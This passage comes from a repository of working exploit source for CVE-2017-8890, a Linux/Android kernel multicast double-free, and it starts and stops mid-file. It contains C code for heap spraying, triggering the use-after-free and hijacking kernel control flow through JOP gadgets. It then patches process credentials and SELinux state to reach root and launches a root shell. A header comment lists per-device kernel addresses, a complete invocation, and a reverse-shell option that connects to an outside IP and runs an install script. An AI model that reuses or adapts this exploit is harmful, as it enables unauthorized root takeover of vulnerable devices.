SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { 289 | log_dump(LOG_ERR, "[-] socket() failed.\n"); 290 | } 291 | } 292 | 293 | log_dump(LOG_DEBUG, "[*] Create spray socket fd pad %d times.\n", pad_times); 294 | 295 | for (i = 0; i < pad_times ; i++ ) { 296 | if ((ipv6_fd_pad[i] = socket(SOCK_AF, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { 297 | log_dump(LOG_ERR, "[-] socket() failed.\n"); 298 | } 299 | } 300 | 301 | #if 1 302 | pthread_t th_check; 303 | if(pthread_create(&th_check, NULL, th_placeholder, NULL)) 304 | log_dump(LOG_ERR, "[-] placeholder thread error.\n"); 305 | #endif 306 | 307 | int cnt = 0; 308 | 309 | for (i = 0; i < times; i++, cnt = 0) { 310 | ret = 0; 311 | while(ret == 0) { 312 | ret = prepare_spray_obj(ipv6_fd_pad[i], &gr_spray, &in6_spray, cnt++); 313 | } 314 | // log_dump(LOG_DEBUG, "[*] %d while spray obj cnt %d\n", i, cnt); 315 | } 316 | 317 | log_dump(LOG_DEBUG, "[+] spray ipv6 obj(%d times) done, not yet close.\n", times); 318 | 319 | log_dump(LOG_DEBUG, "[cpu] process(%d) now bind on cpu[%d].\n", getpid(), sched_getcpu()); 320 | 321 | return 0; 322 | } 323 | 324 | 325 | int server_init = 0; 326 | int server_finish = 0; 327 | int client_finish = 0; 328 | int conntfd[2] = { 0 }; 329 | int connect_times = 2; 330 | 331 | static void *th_client_connect(void *arg) { 332 | bind_thread_on_cpu(bind_cpu_id); 333 | int sockfd, i; 334 | 335 | struct sockaddr_in si = { 336 | .sin_family = AF_INET, 337 | .sin_port = htons(PORT), 338 | .sin_addr = inet_addr("127.0.0.1"), 339 | }; 340 | 341 | while(!server_init) 342 | usleep(1); 343 | 344 | log_dump(LOG_DEBUG, "accept times %d\n", connect_times); 345 | 346 | for ( i = 0 ; i < connect_times ; i++ ) { 347 | sockfd = socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP); 348 | 349 | if (connect(sockfd, (struct sockaddr*)&si, sizeof(si)) != 0 ) { 350 | log_dump(LOG_ERR, "[-] client-%d connected failed.\n", i); 351 | } 352 | close(sockfd); 353 | } 354 | client_finish = 1; 355 | while(1) {} 356 | pthread_exit(0); 357 | } 358 | 359 | static void spray_to_free_hole() { 360 | int times = 100; 361 | int sockfd[times]; 362 | int i, ret; 363 | 364 | for (i = 0; i < times; ++i) { 365 | if ((sockfd[i] = socket(SOCK_AF, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { 366 | log_dump(LOG_ERR, "[-] socket() failed.\n"); 367 | } 368 | } 369 | 370 | int cnt = 0; 371 | 372 | for (i = 0; i < times; i++, cnt = 0) { 373 | ret = 0; 374 | while(ret == 0) { 375 | ret = prepare_spray_obj(sockfd[i], &gr_spray, &in6_spray, cnt++); 376 | } 377 | // log_dump(LOG_DEBUG, "[*] %d while spray obj cnt %d\n", i, cnt); 378 | } 379 | 380 | for (i = 0; i < times; ++i) 381 | close(sockfd[i]); 382 | 383 | struct rcu_head* head = (void*)(fake_iml_next_rcu + fake_iml_offset + rcu_head_offset); 384 | log_dump(LOG_DEBUG, "[*] close(conntfd[1] before: head->next : %p, head->func = %p\n", head->next, head->func); 385 | 386 | log_dump(LOG_DEBUG, "[!] secound free mc_list obj.\n"); 387 | if ( connect_times != 1 ) 388 | close(conntfd[1]); 389 | 390 | log_dump(LOG_DEBUG, "[*] close(conntfd[1] after: head->next : %p, head->func = %p\n", head->next, head->func); 391 | 392 | while(1) { 393 | if ( head->next ) { 394 | head->func = (void*) adp_patch_ptmx_ioctl_jop; 395 | break; 396 | } 397 | } 398 | log_dump(LOG_DEBUG, "[+] head->next : %p, head->func = %p\n", head->next, head->func); 399 | 400 | log_dump(LOG_DEBUG, "[cpu] process(%d) now bind on cpu[%d].\n", getpid(), sched_getcpu()); 401 | 402 | } 403 | 404 | static int trigger() { 405 | int i, ret; 406 | int times = 30; 407 | 408 | int server_sockfd; 409 | 410 | server_sockfd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC , IPPROTO_IP); 411 | 412 | struct sockaddr_in gr_si = { 413 | .sin_family = AF_INET, 414 | .sin_port = htons(PORT), 415 | .sin_addr = inet_addr("224.0.0.0"), // multicast address 416 | }; 417 | 418 | struct group_req group; 419 | group.gr_interface = 1; 420 | memcpy(&group.gr_group, &gr_si, sizeof(gr_si)); 421 | 422 | if (setsockopt(server_sockfd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof(group)) == -1) 423 | log_dump(LOG_ERR, "[-] setsockopt failed.\n"); 424 | 425 | struct sockaddr_in serv_addr = {}; 426 | serv_addr.sin_family = AF_INET; 427 | serv_addr.sin_port = htons(PORT); 428 | serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 429 | 430 | bind(server_sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); 431 | 432 | listen(server_sockfd, 2); 433 | 434 | pthread_t th_client; 435 | // Create a client thread to connect. 436 | if ( pthread_create(&th_client, NULL, th_client_connect, NULL)) 437 | log_dump(LOG_DEBUG, "[-] th_client_connect failed.\n"); 438 | 439 | server_init = 1; 440 | 441 | for ( i = 0 ; i < connect_times ; i++ ) { 442 | conntfd[i] = accept4(server_sockfd, NULL, NULL, 0); 443 | if(conntfd[i] >= 0 ) { 444 | log_dump(LOG_DEBUG, "[+] accept() succeed.\n"); 445 | } else { 446 | log_dump(LOG_ERR, "[-] accept() failed.\n"); 447 | } 448 | } 449 | 450 | while(!client_finish) 451 | usleep(1); 452 | 453 | server_finish = 1; 454 | 455 | int cnt = 0; 456 | for (i = times; i < pad_times; i++, cnt = 0) { 457 | ret = 0; 458 | while(ret == 0) { 459 | ret = prepare_spray_obj(ipv6_fd_pad[i], &gr_spray, &in6_spray, cnt++); 460 | } 461 | // log_dump(LOG_DEBUG, "[*] %d while spray obj cnt %d\n", i, cnt); 462 | } 463 | 464 | // first free... 465 | log_dump(LOG_DEBUG, "[!] first free mc_list obj.\n"); 466 | if (conntfd[0] ) 467 | close(conntfd[0]); 468 | 469 | // release hole. 470 | for (i = 0 ; i < pad_times; i++ ) 471 | close(ipv6_fd_pad[i]); 472 | 473 | log_dump(LOG_DEBUG, "[*] %d times to spray for the hole.\n", spray_times); 474 | 475 | for (i = 0; i < spray_times; i++, cnt = 0) { 476 | ret = 0; 477 | while(ret == 0) { 478 | ret = prepare_spray_obj(ipv6_fd_spray[i], &gr_spray, &in6_spray, cnt++); 479 | } 480 | // log_dump(LOG_DEBUG, "[*] %d while spray obj cnt %d\n", i, cnt); 481 | } 482 | 483 | log_dump(LOG_DEBUG, "[cpu] process(%d) now bind on cpu[%d].\n", getpid(), sched_getcpu()); 484 | 485 | #if FORKCHILD 486 | log_dump(LOG_DEBUG, "[*] kill chilren by fork()?\n"); 487 | for ( i = 0 ; i < children_num ; i++ ) { 488 | log_dump(LOG_DEBUG, "kill pid : %d\n", child_pids[i]); 489 | kill(child_pids[i], SIGKILL); 490 | } 491 | wait(NULL); 492 | 493 | log_dump(LOG_DEBUG, "[+] All killed\n"); 494 | #endif 495 | 496 | // begin padding the free hole! 497 | spray_to_free_hole(); 498 | 499 | return 0; 500 | } 501 | 502 | static int fake_ptmx_ioctl() { 503 | log_dump(LOG_DEBUG, "[!!!] test for ptmx ioctl patch addr...\n"); 504 | int fd; 505 | long ret; 506 | 507 | errno = 0; 508 | fd = open("/dev/ptmx", O_RDWR, 0); 509 | if (fd < 0) { 510 | log_dump(LOG_ERR, "[-] open false, errno = %d, msg = %s\n", errno, strerror(errno)); 511 | return -1; 512 | } 513 | 514 | int x1 = 0x41; 515 | char *jop_buf = (char *)0x0c100000; 516 | 517 | errno = 0; 518 | if (mmap((void*)jop_buf, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) < 0 ) 519 | log_dump(LOG_ERR, "[-] mmap false, errno = %d, msg = %s\n", errno, strerror(errno)); 520 | 521 | log_dump(LOG_DEBUG, "[+] jop_buf = %p\n", jop_buf); 522 | 523 | #if 0 524 | 525 | // kernel_sock_ioctl set_fs func 526 | *((unsigned long *)jop_buf) = adp_kernel_set_fs; 527 | *((unsigned long *)(jop_buf + 0x28)) = (unsigned long)jop_buf; 528 | *((unsigned long *)(jop_buf + 0x48)) = (unsigned long) adp_fix_ptmx_ioctl_x20_reg_jop; 529 | 530 | // fix x20 jop code 531 | *((unsigned long *)(jop_buf + 0x90)) = (unsigned long)jop_buf; 532 | *((unsigned long *)(jop_buf + 0x10)) = (unsigned long)adp_ptmx_ioctl_x20_value; 533 | *((unsigned long *)(jop_buf + 0x8)) = (unsigned long)fake_kernel_func_ret; 534 | #else 535 | int i; 536 | 537 | for (i = 0; i < 0x10; ++i) { 538 | if (j_jop2[i].index == 0 && j_jop2[i].addr == 0) 539 | break; 540 | if (j_jop2[i].addr == 0xbbbbbbbb || j_jop2[i].addr == 0xdddddddd) 541 | *((unsigned long *)(jop_buf + j_jop2[i].index)) = (unsigned long )jop_buf; 542 | else 543 | *((unsigned long *)(jop_buf + j_jop2[i].index)) = j_jop2[i].addr; 544 | } 545 | 546 | #endif 547 | 548 | ret = ioctl(fd, x1, (void *)jop_buf); 549 | // ret = ioctl(fd, 0x42, (void *)0x4040); 550 | if (ret < 0) { 551 | log_dump(LOG_ERR, "[-] ioctl false, errno = %d, msg = %s\n", errno, strerror(errno)); 552 | return -1; 553 | } 554 | 555 | log_dump(LOG_DEBUG, "[+] ioctl ret = 0x%lx\n", ret); 556 | return 0; 557 | 558 | } 559 | 560 | static int fake_sel_task_prctl() { 561 | // SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3, unsigned long, arg4, unsigned long, arg5) 562 | prctl(0x41, 0x42, 0x43, 0x44, 0x45); 563 | return 0; 564 | } 565 | 566 | static int fake_kernel_func_callback() { 567 | #if 1 568 | return fake_ptmx_ioctl(); 569 | #else 570 | return fake_sel_task_prctl(); 571 | #endif 572 | } 573 | 574 | static void *th_fix_mmap_area(void *arg) { 575 | bind_thread_on_cpu(bind_cpu_id); 576 | int value; 577 | unsigned long check_mem = (unsigned long) fake_iml_next_rcu + fake_iml_offset + rcu_head_offset; 578 | while(1) { 579 | if (pipe_read_memory((void*)check_mem, (void*)&value, sizeof(value)) != sizeof(value)) { 580 | log_dump(LOG_DEBUG, "[!] 0x%lx mmap area need fix to remap\n", check_mem); 581 | 582 | if (mmap((void*)fake_iml_next_rcu, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) < 0) 583 | log_dump(LOG_ERR, "[-] 0x%lx re mmap false, errno = %d, msg = %s\n", check_mem, errno, strerror(errno)); 584 | 585 | usleep(300 * 1000); 586 | } 587 | } 588 | } 589 | 590 | static void exploit_slab64(int argc, char *argv[]) { 591 | set_bind_cpu_id(); 592 | 593 | #if FORKCHILD 594 | int i; 595 | for ( i = 0; i < children_num ; i++ ) { 596 | if ( (child_pids[i] = fork() ) == 0 ) { 597 | log_dump(LOG_DEBUG, "I'm child : %d\n", i); 598 | while(time((time_t*)NULL)); 599 | } 600 | } 601 | #endif 602 | 603 | bind_process_on_cpu(bind_cpu_id); 604 | 605 | log_dump(LOG_NORMAL, "\t[1] padding data to fake obj.\n"); 606 | init_fake_iml_obj(); 607 | 608 | log_dump(LOG_NORMAL, "\t[2] prepare heap spray data.\n"); 609 | if (prepare() < 0 ) 610 | log_dump(LOG_ERR, "[-] prepare failed.\n"); 611 | 612 | 613 | #ifdef FIX_MMAP_BUGS 614 | log_dump(LOG_DEBUG, "[?] fix mmap bugs???\n"); 615 | pthread_t th_fix_mmap; 616 | if(pthread_create(&th_fix_mmap, NULL, th_fix_mmap_area, NULL)) 617 | log_dump(LOG_ERR, "[-] fix_mmap_th failed.\n"); 618 | #endif 619 | 620 | log_dump(LOG_NORMAL, "\t[3] trigger exploit.\n"); 621 | if (trigger() < 0 ) 622 | log_dump(LOG_ERR, "[-] trigger failed.\n"); 623 | 624 | log_dump(LOG_NORMAL, "\t[4] test for r/w kernel capacity\n"); 625 | unsigned long rw_cap; 626 | while (1) { 627 | log_dump(LOG_DEBUG, "[!] jop to patch thread_info.addr_limit\n"); 628 | fake_kernel_func_callback(); 629 | if (pipe_read_memory((void*)adp_ptmx_fops, (void*)&rw_cap, sizeof(rw_cap)) == sizeof(rw_cap)) { 630 | log_dump(LOG_NORMAL, "[+] cat arbitrary read/write succeeded 0x%lx = 0x%lx\n", adp_ptmx_fops, rw_cap); 631 | break; 632 | } 633 | usleep(300 * 1000); 634 | } 635 | 636 | log_dump(LOG_NORMAL, "\t[5] get root, patch cred & sid\n"); 637 | 638 | char random_name[0x10] = { 0 }; 639 | set_random_task_name(4, random_name); 640 | 641 | obtain_root_by_task_name(adp_init_task, random_name, adp_task_security_offset, adp_task_cred_uid_offset); 642 | 643 | log_dump(LOG_DEBUG, "\t[!] patch memory for something.\n"); 644 | 645 | patch_memory(1, p_patch); 646 | 647 | } 648 | 649 | void test(int argc, char *argv[]) { 650 | // parse_args(argc, argv); 651 | rootz_before(argc, argv); 652 | rootz_after(); 653 | 654 | exit(0); 655 | } 656 | 657 | int main(int argc, char *argv[]) { 658 | // test(argc, argv); 659 | 660 | if(rootz_before(argc, argv)) { 661 | log_dump(LOG_ERR, "[-] rootz_before failed!\n"); 662 | return -1; 663 | } 664 | 665 | if (adp_sn != 101) { 666 | log_dump(LOG_ERR, "[-] adp sn error!\n"); 667 | return -1; 668 | } 669 | 670 | log_dump(LOG_NORMAL, "\t[*] start, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 671 | 672 | exploit_slab64(argc, argv); 673 | 674 | log_dump(LOG_NORMAL, "\t[*] end, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 675 | 676 | if(rootz_after()) { 677 | log_dump(LOG_ERR, "[-] rootz_after failed!\n"); 678 | } 679 | 680 | system("USER=ROOT /system/bin/sh"); 681 | 682 | fprintf(stderr, "end...\n"); 683 | 684 | while(1); 685 | 686 | return 0; 687 | } 688 | -------------------------------------------------------------------------------- /exploit/CVE-2017-8890/1001/rootz.h: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-8890 exploit adp args 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | #include "param.h" 9 | 10 | /* 11 | 12 | 通用内核函数地址定义在 param.h 头文件中 13 | 14 | 针对不同手机适配需要特殊定义的,在该头文件中定义 15 | 16 | */ 17 | 18 | char *adp_set_task_name = "o0o0o0o0o"; 19 | 20 | #if 0 21 | 22 | 适配信息 23 | 24 | /* nexus 6p */ 25 | Linux version 3.10.73-g5b0be8f02fe (android-build@wphs1.hot.corp.google.com) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Jun 8 18:03:16 UTC 2017 26 | ./data/local/tmp/rootz "n=1001&k=[1001=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;0xffffffc001a044e8=0xffffffc00055bab8=0x8;]" 27 | if test reverse shell: 28 | + "&r=[901=192.168.199.213;902=8989;903=/data/local/tmp/install.sh;]" 29 | #endif -------------------------------------------------------------------------------- /exploit/CVE-2017-8890/1001/rootz32.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-8890 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | #define _GNU_SOURCE 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | // #define DEBUG 1 27 | #define PRINT 1 28 | 29 | #ifdef DEBUG 30 | #define LOGV(...) { printf("%s @ %s:%d with log: ", __FILE__, __FUNCTION__, __LINE__); printf(__VA_ARGS__); fflush(stdout); } 31 | #elif PRINT 32 | #define LOGV(...) { printf(__VA_ARGS__); fflush(stdout); } 33 | #else 34 | #define LOGV(...) 35 | #endif 36 | 37 | #ifndef ONE_IGMP_H 38 | #define ONE_IGMP_H 39 | 40 | #define __rcu 41 | 42 | struct callback_head { 43 | struct callback_head *next; 44 | void (*func)(struct callback_head *head); 45 | }; 46 | #define rcu_head callback_head 47 | 48 | struct ip_sf_socklist { 49 | unsigned int sl_max; 50 | unsigned int sl_count; 51 | struct rcu_head rcu; 52 | __be32 sl_addr[0]; 53 | }; 54 | 55 | struct ip_mc_socklist { 56 | struct ip_mc_socklist __rcu *next_rcu; 57 | struct ip_mreqn multi; 58 | unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */ 59 | struct ip_sf_socklist __rcu *sflist; 60 | struct rcu_head rcu; 61 | }; 62 | #endif // ONE_IGMP_H 63 | 64 | #define fake_iml_next_rcu (0x0c000000) //struct ip_mc_socklist __rcu *next_rcu; 65 | 66 | 67 | #define fake_iml_offset 0xff // for bypass ipv6_addr_is_multicast(addr) 68 | #define rcu_head_offset sizeof(struct ip_mc_socklist) - sizeof(struct rcu_head) 69 | 70 | extern void obtain_root_privilege_by_modify_task_cred(); 71 | 72 | #define adp_fake_iml_func obtain_root_privilege_by_modify_task_cred 73 | 74 | #define FIX_MMAP_BUGS 1 75 | 76 | int PORT = 10086; 77 | 78 | struct group_req gr_spray = { 0 }; 79 | struct sockaddr_in6 in6_spray = { 0 }; 80 | int pad_times = 60; 81 | int ipv6_fd_pad[60] = { 0 }; 82 | int spray_times = 500; 83 | int ipv6_fd_spray[500] = { 0 }; 84 | 85 | // #define FORKCHILD 1 86 | int children_num = 7; 87 | int child_pids[8] = { 0 }; 88 | 89 | /* cpu imformation */ 90 | int bind_cpu_id = 0; 91 | #define cur_cpu_num sysconf(_SC_NPROCESSORS_CONF) 92 | 93 | static int bind_process_on_cpu(int cpuid) { 94 | LOGV("[!] process(%d) prepare bind on cpu[%d].\n", getpid(), cpuid); 95 | 96 | int bind_cpu = -1; 97 | cpu_set_t mask; 98 | 99 | CPU_ZERO(&mask); 100 | CPU_SET(cpuid, &mask); 101 | 102 | while(0 == CPU_ISSET(cpuid, &mask)) { 103 | perror("CPU_SET"); 104 | CPU_SET(cpuid, &mask); 105 | } 106 | 107 | if (cpuid == 7) 108 | return sched_setaffinity(0 /* pid self */, sizeof(mask), &mask); 109 | 110 | while(bind_cpu != cpuid) { 111 | sched_setaffinity(0 /* pid self */, sizeof(mask), &mask); 112 | bind_cpu = sched_getcpu(); 113 | } 114 | LOGV("[+] process(%d) now bind on cpu[%d].\n", getpid(), bind_cpu); 115 | 116 | return bind_cpu; 117 | } 118 | 119 | static int bind_thread_on_cpu(int cpuid) { 120 | int bind_cpu = -1, ret = -1, tid = -1; 121 | tid = gettid(); 122 | 123 | LOGV("[!] thread(%d) prepare bind on cpu[%d].\n", tid, cpuid); 124 | 125 | cpu_set_t mask; 126 | 127 | CPU_ZERO(&mask); 128 | CPU_SET(cpuid, &mask); 129 | 130 | while(0 == CPU_ISSET(cpuid, &mask)) { 131 | perror("CPU_SET"); 132 | CPU_SET(cpuid, &mask); 133 | } 134 | 135 | if (cpuid == 7) 136 | return syscall(__NR_sched_setaffinity, tid, sizeof(mask), &mask); 137 | 138 | while(bind_cpu != cpuid || ret != 0) { 139 | ret = syscall(__NR_sched_setaffinity, tid, sizeof(mask), &mask); 140 | bind_cpu = sched_getcpu(); 141 | // printf("ret = %d, bind_cpu = %d\n", ret, bind_cpu); 142 | // perror("__NR_sched_setaffinity"); 143 | } 144 | 145 | LOGV("[+] thread(%d) now bind on cpu[%d].\n", tid, bind_cpu); 146 | 147 | return bind_cpu; 148 | } 149 | 150 | static void set_bind_cpu_id() { 151 | bind_cpu_id = sched_getcpu(); 152 | LOGV("[!] all will bind on cpu[%d]\n", bind_cpu_id); 153 | } 154 | 155 | static void init_fake_iml_obj(void) { 156 | if (mmap((void*)fake_iml_next_rcu, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) < 0 ) 157 | LOGV("[-] mmap at %p failed.\n", (void*) fake_iml_next_rcu); 158 | 159 | struct ip_mc_socklist *iml = (void*)(fake_iml_next_rcu + fake_iml_offset); 160 | 161 | iml->next_rcu = (void*) NULL; 162 | iml->rcu.next = (void*) NULL; 163 | iml->rcu.func = (void*) NULL; 164 | 165 | LOGV("[*] iml : %p, &(iml->rcu.next) : %p\n", (void*)iml, &(iml->rcu.next)); 166 | 167 | } 168 | 169 | static void *th_placeholder(void * arg) { 170 | bind_thread_on_cpu(bind_cpu_id); 171 | struct rcu_head* head = (void*)(fake_iml_next_rcu + fake_iml_offset + rcu_head_offset); 172 | LOGV("[!] original value head: %p, head->next : %p, head->func : %p\n", head, head->next, head->func); 173 | 174 | while (1) { 175 | if ( head->next ) { 176 | head->func = (void*) adp_fake_iml_func; 177 | break; 178 | } 179 | } 180 | 181 | LOGV("[!] fake_iml_next_rcu was modified to : head->next : %p, head->func : %p\n", head->next, head->func); 182 | while(1) {} 183 | return NULL; 184 | } 185 | 186 | static int prepare_spray_obj(int fd, 187 | struct group_req* gr_spray_ptr, 188 | struct sockaddr_in6* in6_spray_ptr, unsigned c) { 189 | 190 | gr_spray_ptr->gr_interface = 1; 191 | in6_spray_ptr->sin6_family = AF_INET6; 192 | // int8_t addr[16] = "\xff\x00\x00\x0c\x00\x00\x00\x00\x00\x00"; 193 | int8_t addr[16] = { 0 }; 194 | *((int*) &addr) = fake_iml_next_rcu + fake_iml_offset; 195 | *(unsigned*)&addr[8] = c; 196 | memcpy(&in6_spray_ptr->sin6_addr, addr, sizeof addr); 197 | memcpy(&gr_spray_ptr->gr_group, in6_spray_ptr, sizeof(*in6_spray_ptr)); 198 | return setsockopt(fd, SOL_IPV6, MCAST_JOIN_GROUP, gr_spray_ptr, sizeof(*gr_spray_ptr)); 199 | } 200 | 201 | static int prepare() { 202 | int i, ret; 203 | 204 | int times = pad_times / 2; 205 | 206 | LOGV("[*] Create spray socket fd spray %d times.\n", spray_times); 207 | int c; 208 | for ( i = 0 ; i < spray_times ; i++ ) { 209 | if ((ipv6_fd_spray[i] = socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { 210 | LOGV("[-] socket() failed.\n"); 211 | } 212 | } 213 | 214 | LOGV("[*] Create spray socket fd pad %d times.\n", pad_times); 215 | 216 | for (i = 0; i < pad_times ; i++ ) { 217 | if ((ipv6_fd_pad[i] = socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { 218 | LOGV("[-] socket() failed.\n"); 219 | } 220 | } 221 | 222 | #if 1 223 | pthread_t th_check; 224 | if(pthread_create(&th_check, NULL, th_placeholder, NULL)) 225 | LOGV("[-] placeholder thread error.\n"); 226 | #endif 227 | 228 | int cnt = 0; 229 | 230 | for (i = 0; i < times; i++, cnt = 0) { 231 | ret = 0; 232 | while(ret == 0) { 233 | ret = prepare_spray_obj(ipv6_fd_pad[i], &gr_spray, &in6_spray, cnt++); 234 | } 235 | // LOGV("[*] %d while spray obj cnt %d\n", i, cnt); 236 | } 237 | 238 | LOGV("[+] spray ipv6 obj(%d times) done, not yet close.\n", times); 239 | 240 | LOGV("[cpu] process(%d) now bind on cpu[%d].\n", getpid(), sched_getcpu()); 241 | 242 | return 0; 243 | } 244 | 245 | 246 | int server_init = 0; 247 | int server_finish = 0; 248 | int client_finish = 0; 249 | int conntfd[2] = { 0 }; 250 | int connect_times = 2; 251 | 252 | static void *th_client_connect(void *arg) { 253 | bind_thread_on_cpu(bind_cpu_id); 254 | int sockfd, i; 255 | 256 | struct sockaddr_in si = { 257 | .sin_family = AF_INET, 258 | .sin_port = htons(PORT), 259 | .sin_addr = inet_addr("127.0.0.1"), 260 | }; 261 | 262 | while(!server_init) 263 | usleep(1); 264 | 265 | for ( i = 0 ; i < connect_times ; i++ ) { 266 | sockfd = socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP); 267 | 268 | if (connect(sockfd, (struct sockaddr*)&si, sizeof(si)) != 0 ) { 269 | LOGV("[-] client-%d connected failed.\n", i); 270 | } 271 | close(sockfd); 272 | } 273 | client_finish = 1; 274 | while(1){} 275 | pthread_exit(0); 276 | } 277 | 278 | static void spray_to_free_hole() { 279 | int times = 100; 280 | int sockfd[times]; 281 | int i, ret; 282 | 283 | for (i = 0; i < times; ++i) { 284 | if ((sockfd[i] = socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { 285 | LOGV("[-] socket() failed.\n"); 286 | } 287 | } 288 | 289 | int cnt = 0; 290 | 291 | for (i = 0; i < times; i++, cnt = 0) { 292 | ret = 0; 293 | while(ret == 0) { 294 | ret = prepare_spray_obj(sockfd[i], &gr_spray, &in6_spray, cnt++); 295 | } 296 | // LOGV("[*] %d while spray obj cnt %d\n", i, cnt); 297 | } 298 | 299 | for (i = 0; i < times; ++i) 300 | close(sockfd[i]); 301 | 302 | struct rcu_head* head = (void*)(fake_iml_next_rcu + fake_iml_offset + rcu_head_offset); 303 | LOGV("[*] close(conntfd[1] before: head->next : %p, head->func = %p\n", head->next, head->func); 304 | 305 | LOGV("[!] secound free mc_list obj.\n"); 306 | if ( connect_times != 1 ) 307 | close(conntfd[1]); 308 | 309 | LOGV("[*] close(conntfd[1] after: head->next : %p, head->func = %p\n", head->next, head->func); 310 | 311 | while(1) { 312 | if ( head->next ) { 313 | head->func = (void*) adp_fake_iml_func; 314 | break; 315 | } 316 | } 317 | LOGV("[+] head->next : %p, head->func = %p\n", head->next, head->func); 318 | 319 | LOGV("[cpu] process(%d) now bind on cpu[%d].\n", getpid(), sched_getcpu()); 320 | 321 | } 322 | 323 | static int trigger() { 324 | int i, ret; 325 | int times = 30; 326 | 327 | int server_sockfd; 328 | 329 | server_sockfd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC , IPPROTO_IP); 330 | 331 | struct sockaddr_in gr_si = { 332 | .sin_family = AF_INET, 333 | .sin_port = htons(PORT), 334 | .sin_addr = inet_addr("224.0.0.0"), // multicast address 335 | }; 336 | 337 | struct group_req group; 338 | group.gr_interface = 1; 339 | memcpy(&group.gr_group, &gr_si, sizeof(gr_si)); 340 | 341 | if (setsockopt(server_sockfd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof(group)) == -1) 342 | LOGV("[-] setsockopt failed.\n"); 343 | 344 | struct sockaddr_in serv_addr = {}; 345 | serv_addr.sin_family = AF_INET; 346 | serv_addr.sin_port = htons(PORT); 347 | serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 348 | 349 | bind(server_sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); 350 | 351 | listen(server_sockfd, 2); 352 | 353 | pthread_t th_client; 354 | // Create a client thread to connect. 355 | if ( pthread_create(&th_client, NULL, th_client_connect, NULL)) 356 | LOGV("[-] th_client_connect failed.\n"); 357 | 358 | server_init = 1; 359 | 360 | for ( i = 0 ; i < connect_times ; i++ ) { 361 | conntfd[i] = accept4(server_sockfd, NULL, NULL, 0); 362 | if(conntfd[i] >= 0 ) { 363 | LOGV("[+] accept() succeed.\n"); 364 | } else { 365 | LOGV("[-] accept() failed.\n"); 366 | } 367 | } 368 | 369 | while(!client_finish) 370 | usleep(1); 371 | 372 | server_finish = 1; 373 | 374 | int cnt = 0; 375 | for (i = times; i < pad_times; i++, cnt = 0) { 376 | ret = 0; 377 | while(ret == 0) { 378 | ret = prepare_spray_obj(ipv6_fd_pad[i], &gr_spray, &in6_spray, cnt++); 379 | } 380 | // LOGV("[*] %d while spray obj cnt %d\n", i, cnt); 381 | } 382 | 383 | // first free... 384 | LOGV("[!] first free mc_list obj.\n"); 385 | if (conntfd[0] ) 386 | close(conntfd[0]); 387 | 388 | // release hole. 389 | for (i = 0 ; i < pad_times; i++ ) 390 | close(ipv6_fd_pad[i]); 391 | 392 | LOGV("[*] %d times to spray for the hole.\n", spray_times); 393 | 394 | for (i = 0; i < spray_times; i++, cnt = 0) { 395 | ret = 0; 396 | while(ret == 0) { 397 | ret = prepare_spray_obj(ipv6_fd_spray[i], &gr_spray, &in6_spray, cnt++); 398 | } 399 | // LOGV("[*] %d while spray obj cnt %d\n", i, cnt); 400 | } 401 | 402 | LOGV("[cpu] process(%d) now bind on cpu[%d].\n", getpid(), sched_getcpu()); 403 | 404 | #if FORKCHILD 405 | LOGV("[*] kill chilren by fork()?\n"); 406 | for ( i = 0 ; i < children_num ; i++ ) { 407 | LOGV("kill pid : %d\n", child_pids[i]); 408 | kill(child_pids[i], SIGKILL); 409 | } 410 | wait(NULL); 411 | 412 | LOGV("[+] All killed\n"); 413 | #endif 414 | 415 | // begin padding the free hole! 416 | spray_to_free_hole(); 417 | 418 | return 0; 419 | } 420 | 421 | static ssize_t read_at_address_pipe(const void *src, void *dest, size_t count) { 422 | int pipefd[2] = { 0 }; 423 | ssize_t len = 0; 424 | if (pipe(pipefd) < 0) { 425 | printf("pipe failed\n"); 426 | return -1; 427 | } 428 | errno = 0; 429 | len = write(pipefd[1], 